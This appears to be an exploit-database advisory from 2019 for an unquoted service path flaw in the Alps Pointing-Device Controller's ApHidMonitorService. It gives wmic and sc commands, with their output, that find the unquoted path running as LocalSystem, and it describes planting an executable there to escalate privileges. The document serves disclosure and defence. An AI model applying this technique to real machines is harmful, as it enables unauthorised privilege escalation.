Alps Pointing-Device Controller 8.1202.1711.04 Unquoted Service Path

Alps Pointing-Device Controller version 8.1202.1711.04 suffers from an ApHidMonitorService unquoted service path vulnerability.


MD5 | f78de797d9d87ac389ffb4f94a0b9ee9

# Exploit Title: Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path
# Date: 2019-11-12
# Exploit Author: Mario Rodriguez
# Vendor Homepage: https://www.alps.com/e/
# Software Link: https://www.alps.com/e/
# Version: 8.1202.1711.04
# Tested on: Windows 10 Home x64 Spanish

#The Alps Pointing-device controller installs a service with an unquoted path
#which could be used as a local privilege escalation vulnerability. To exploit this vulnerability,
#an executable file could be placed in the path of the service and after rebooting the system or
#restarting the service the malicious code will be executed with elevated privileges.

#Step to discover the vulnerability

C:\Users\user>wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Alps HID Monitor Service ApHidMonitorService C:\Program Files\Apoint2K\HidMonitorSvc.exe Auto

C:\Users\user>sc qc ApHidMonitorService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ApHidMonitorService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\Apoint2K\HidMonitorSvc.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Alps HID Monitor Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

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